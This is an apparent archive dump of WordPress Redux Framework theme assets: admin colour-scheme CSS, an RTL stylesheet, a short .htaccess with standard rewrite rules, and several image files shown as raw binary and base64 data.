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) !important}.admin-color-sunrise .ui-datepicker-header{background-color:#b43c38 !important;color:white !important}.admin-color-sunrise .ui-datepicker td .ui-state-active{background-color:#df8a48 !important;color:white !important}.admin-color-sunrise .ui-datepicker td .ui-state-hover{color:#df8a48 !important}.admin-color-sunrise .ui-datepicker td .ui-state-highlight{background:#dd823b !important;border:1px solid #b43c38 !important;color:white !important}.admin-color-sunrise .redux-container-switch .cb-disable,.admin-color-sunrise .redux-container-switch .cb-enable,.admin-color-sunrise .ui-state-default,.admin-color-sunrise .ui-widget-content .ui-state-default,.admin-color-sunrise .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f8f8f8', endColorstr='#f5f5f5', GradientType=0) !important;border-color:#ccc !important}.admin-color-sunrise .ui-datepicker td .ui-state-active{color:black !important;font-weight:700 !important;background:white !important}.admin-color-sunrise .redux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#929292', endColorstr='#646464', GradientType=0) !important;border-color:#767676 !important}.admin-color-sunrise .redux-container-switch .cb-enable.selected,.admin-color-sunrise .redux-field-container .ui-buttonset .ui-state-active{background-color:#dd823b !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#e29559), to(#dd823b)) !important;background-image:-moz-linear-gradient(top, #e29559, #dd823b) !important;background-image:-ms-linear-gradient(top, #e29559, #dd823b) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #e29559), color-stop(100%, #dd823b)) !important;background-image:-webkit-linear-gradient(top, #e29559, #dd823b) !important;background-image:-o-linear-gradient(top, #e29559, #dd823b) !important;background-image:-linear-gradient(top, #e29559, #dd823b) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#e29559', endColorstr='#dd823b', GradientType=0) !important;border-color:#ad5d1e !important;border-color:#c36922 !important;-webkit-box-shadow:inset 0 1px 0 #e8ac7c,0 1px 0 rgba(0,0,0,0.15) !important;box-shadow:inset 0 1px 0 #e8ac7c,0 1px 0 rgba(0,0,0,0.15) !important}.admin-color-sunrise #redux-header{background:#b43c38;border-color:#dd823b}.admin-color-sunrise #redux-header .display_header span{color:#f0c8c6}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections a{position:relative}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:"\0020" !important}.admin-color-sunrise .redux-sidebar .redux-group-menu li.hasSubSections .redux-menu-error{display:none;margin-right:5px}.admin-color-sunrise .redux-sidebar .redux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-sunrise .redux-sidebar .redux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active a .extraIconSubsections,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections .redux-menu-error,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .redux-menu-error{display:block}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections .subsection .redux-menu-error,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .subsection .redux-menu-error{margin-right:2px}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild{border-left:0 none}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active a,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild a{color:#b43c38}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections .active a:after,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections a,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;transition:all 0.2s;color:#fff;width:auto;border-bottom:0}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-ms-transition:all 0.2;-o-transition:all 0.2;transition:all 0.2}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#cc6c23;background:#8d2f2c}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections a{background:#dd823b}.admin-color-sunrise .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a{background:#b43c38}.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{background:#f0c8c6;text-shadow:1px 1px #d0534d}.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#b43c38;text-shadow:none}.admin-color-sunrise .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#dd823b;text-shadow:1px 1px #98511a}.admin-color-sunrise .redux-container-image_select .redux-image-select-selected img{border-color:#dd823b}.admin-color-sunrise .redux-container-image_select .redux-image-select-selected .tiles{border-color:#dd823b}.admin-color-sunrise #redux-footer #redux-share a{color:#dd823b}.admin-color-sunrise #redux-footer #redux-share a:hover{color:#98511a}.admin-color-sunrise .select2-results .select2-highlighted{background:#dd823b}.admin-color-sunrise .select2-drop-active,.admin-color-sunrise .select2-container-multi.select2-container-active .select2-choices,.admin-color-sunrise .select2-drop.select2-drop-above.select2-drop-active,.admin-color-sunrise .select2-container-active .select2-choice,.admin-color-sunrise .select2-container-active .select2-choices,.admin-color-sunrise .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-sunrise .select2-dropdown-open.select2-drop-above .select2-choices{border-color:#dd823b}.admin-color-sunrise .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-sunrise .select2-dropdown-open.select2-drop-above .select2-choices{border-top:inherit}.admin-color-sunrise .noUi-connect{background-color:#df8a48 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#e59e66), to(#df8a48)) !important;background-image:-moz-linear-gradient(top, #e59e66, #df8a48) !important;background-image:-ms-linear-gradient(top, #e59e66, #df8a48) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #e59e66), color-stop(100%, #df8a48)) !important;background-image:-webkit-linear-gradient(top, #e59e66, #df8a48) !important;background-image:-o-linear-gradient(top, #e59e66, #df8a48) !important;background-image:-linear-gradient(top, #e59e66, #df8a48) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#e59e66', endColorstr='#df8a48', GradientType=0) !important}@media screen and (max-width: 600px){.redux-group-tab-link-a{min-height:15px}.redux-group-tab-link-a span{padding:11px 12px;color:#555;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s;text-shadow:none !important}.redux-group-tab-link-a span:hover{background:#e5e5e5}}@media screen and (max-width: 782px){#redux-footer #redux-share{line-height:38px;font-size:18px}.sticky-save-warn .redux-save-warn{right:13px;top:46px}.redux-container .expand_options{margin-top:5px}.redux-action_bar input{margin-bottom:0 !important}}@media screen and (max-width: 600px){#redux-footer #redux-share,.redux-hint-qtip{display:none}.redux-container .redux-action_bar{float:none}}.redux-sidebar .icon-large,.redux-main .icon-large{background-image:inherit !important;width:inherit;height:inherit}.redux-main dd,.redux-main li,.redux-sidebar li{margin-bottom:0 !important}.fully-expanded .redux-sidebar{margin-left:-500px}.fully-expanded .redux-main{margin-left:0}.fully-expanded .redux-group-tab{display:block}@media screen and (max-width: 640px){#redux-defaults-section{display:none}}@media screen and (max-width: 730px){#redux-share{display:none}}@media screen and (max-width: 730px){#redux-defaults-section2{display:none}#redux-share{display:none}}@media screen and (max-width: 600px){.form-table>tbody>tr>th{padding-bottom:0 !important}.redux_field_th{padding-top:0;padding-bottom:0}.redux-container .redux-main{margin-left:44px}.redux-main .redux-field-container{padding-top:0;padding-bottom:0}.redux-main .subsection a{min-height:15px}}@media screen and (min-width: 601px) and (max-width: 782px){.redux-container .sticky-save-warn .redux-save-warn{top:47px !important;right:13px !important}}@media screen and (max-width: 782px){.redux-main .form-table-section-indented input[type=text]{width:95% !important}.redux-main .redux-container-sortable input[type=text]{width:80%;display:initial}.redux-main .redux-typography-container .input_wrapper input.mini{font-size:16px !important;height:40px !important;padding:7px 10px !important;line-height:24px !important}.redux-main .redux-typography-container .picker-wrapper label{margin-top:16px !important}.redux-main .input-append{height:50px !important}.redux-main .input-append .add-on{font-size:16px;line-height:24px !important;padding:7px;height:32px !important;float:right;margin-top:-40px}.redux-main .redux-hint-qtip{float:left !important}.redux-main .redux-action_bar .button{margin-top:-1px}}@media screen and (max-width: 600px){.sticky-save-warn .redux-save-warn{top:0 !important;right:14px !important}}@media screen and (max-width: 570px){.redux-main .redux-container-sortable .checkbox-container{width:85%;padding-bottom:5px}.redux-main .redux-container-sortable .checkbox-container label{display:initial}}#redux-header{position:relative}.redux-main{position:relative}.redux-main #redux-sticky{min-height:32px;margin-left:-20px;margin-right:-20px;margin-top:-10px;margin-bottom:8px}.redux-main #redux-sticky #info_bar{height:32px}.redux-main #redux-sticky #info_bar .expand_options{margin-top:4px}.redux-main .redux_field_search{top:50px;right:5px}.redux-main #redux-footer-sticky{margin-left:-20px;margin-right:-20px;margin-bottom:-10px}.redux-qtip{z-index:999999 !important} lib/redux-framework/assets/css/rtl.scss000064400000004254147206624460014244 0ustar00html[dir="rtl"] .redux-container { .redux-action_bar{ float:left; } } .redux-container .expand_options, .redux-sidebar, .cb-enable, .cb-disable, .cb-enable span, .cb-disable span, #redux-footer #redux-share{ float:right; } .redux-main{ border-left:0px; margin-left:0px; border-right:1px solid #d8d8d8; margin-right:201px; .redux-typography-container .typography-preview{ text-align:center !important; direction:ltr !important; } } .redux-group-tab-link-a{ padding-left:0px; padding-right:30px; i{ padding-left:10px; padding-right:5px; } span.group_title{ padding-left:0px; padding-right:30px; } } .redux_slider{ margin-left:0px; margin-right:15px; } .redux-action_bar{ float:left !important; } .expand_options{ float:right !important; border:1px solid #f00; } .redux_field_th{ padding:20px 0 20px 10px !important; } .field-desc{ text-align:right; } .redux-container-ace_editor, .redux-container-border, .redux-container-spacing, .redux-container-dimensions{ direction:ltr !important; } .redux-container-border .field-border-input, .redux-container-border .redux-color-init, .redux-container-border .redux-border-style, .redux-container-sorter, .redux-container-border, .redux-container-spacing, .redux-container-spacing .field-spacing-input, .redux-container-dimensions .redux-dimensions-container, .redux-container-text label, .redux-container-checkbox input, .typography-font-bar, .typography-style-bar, .redux-color.redux-typography-color, .redux-typography-subsets{ float:right !important; } .input-append{ margin-right:10px; direction:ltr !important; } .redux-container-slider, .redux-container-spinner, .redux-container-switch{ direction:ltr !important; float:right; margin:0; } .redux-info-field { .redux-info-icon{ margin-left:15px; } } #redux-share{ float:right !important; } .redux-sidebar { .redux-menu-warning, .redux-menu-error, .hasSubSections .extraIconSubsections{ float:left; } } .select2-search-choice-close { left: 23px !important; }lib/redux-framework/assets/css/.htaccess000064400000001626147206624460014344 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/assets/img/3cm.png000064400000005734147206624460013726 0ustar00PNG  IHDR-$R pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATxٽn0RHydeK6C taEB(Իr=S`lǞZbpmO[ek\rYY<]H.<sʢhYc'~| R"}X4wDFo`(ZъVhE+ZъVhEwʱ mi$L :/#,Ar@t0 թn Zޡ:{4VIENDB`lib/redux-framework/assets/img/toggle_tabs.png000064400000000546147206624460015532 0ustar00PNG  IHDR2&tEXtSoftwareAdobe ImageReadyqe<IDATx= 07GOH`%r!k;SxO,ʿ@%DqXXț7G}!]k۶_nHe'6/!DUU@S*MӘʲTJS.ܚK*Aڶ89+ߚhYz.'/{.`œG~458B@}oUt YrEQ>c/q|$=k=kXe֞Z90э+IZ`x?"yIENDB`lib/redux-framework/assets/img/4-col-portfolio.png000064400000002011147206624460016156 0ustar00PNG  IHDR-$RtEXtSoftwareAdobe ImageReadyqe< iTXtXML:com.adobe.xmp JIDATxA EUj NPPf}2Z ޒzhܢ=Ed0ƪFg)VfӇrYMah%z|]4{@ 4и{@ 4"] au[4IENDB`lib/redux-framework/assets/img/ajax.gif000064400000002560147206624460014142 0ustar00GIF89aỻ혘! NETSCAPE2.0!-Made by Krasimira Nejcheva (www.loadinfo.net)! ,p%e(99ΔVuAM'I$@!Eezeȉ*5E$JN+QDG/"s#=$HJOw" G7 V(](L/!! ,q%di^֢XhUu%ue!E F\Ӌ2J - 2-D$N"Bps@8W"IJtP`5 -6#!! ,vpH,/ "t@M A2C1(ÁB֋& C թM0! !G QGs xXDDBfhjlnDMDA! ,}pH,/rZ*Q 0TDС @!F "XQ,HhR& M  HML# M pC}Cx|"fCiUg#E"N{FA! ,r%di^֢Xh@WŒQLaPÁB45& R XPօ(J  2-D$&I6pqѤ@8wFLN$ ZZ#W#!! ,pH,/rZ*Q 0TDС @!F "XQ,HhR& M  HML M UCxBzCpC#nBgUk{DEA! ,|pH,/!)t*H TDС @! LPIVYIaR> uD%  {E!!pGUNeEBDBgimoE!gU% MDGA! ,upH,/!"tv:Q 0DN */8ڢ * HUtR,Hյ& M  HML# M Ut*FzE*CC)gqjlnD #)![xEMEOGA;lib/redux-framework/assets/img/1c.png000064400000000212147206624460013531 0ustar00PNG  IHDR-$RQIDATXء 1é i*xҀwL[dv-o BCCCCCCCCCCCCCCCCCCC\}SIENDB`lib/redux-framework/assets/img/2cr.png000064400000005651147206624460013730 0ustar00PNG  IHDR-$R pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATx1 @cD1"X<&iHD$S]] ifݏ%ifѵH<offenf宪}Ssb6]^"]R̽OE ]w__Xa&;nB -B -B -B -B.-=:,zrA>TD8R|]|x )[!IENDB`lib/redux-framework/assets/img/3cr.png000064400000005752147206624460013733 0ustar00PNG  IHDR-$R pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATxٽ@wB\h"l"Y?,j&b&)"rNs21yH&͉R $YWon^9hV`R  wQ-@Ci r" [<##?D==."_ˈpZhE+ZъVhE+ZъVSO[c$'{%t yS Dۑa :Ck< Ձ-1;`>KB3{ eYIENDB`lib/redux-framework/assets/img/menu_icon.png000064400000002647147206624460015220 0ustar00PNG  IHDRaiCCPICC Profile(UoT?o\?US[IB*unS6mUo xB ISA$=t@hpS]Ƹ9w>5@WI`]5;V! 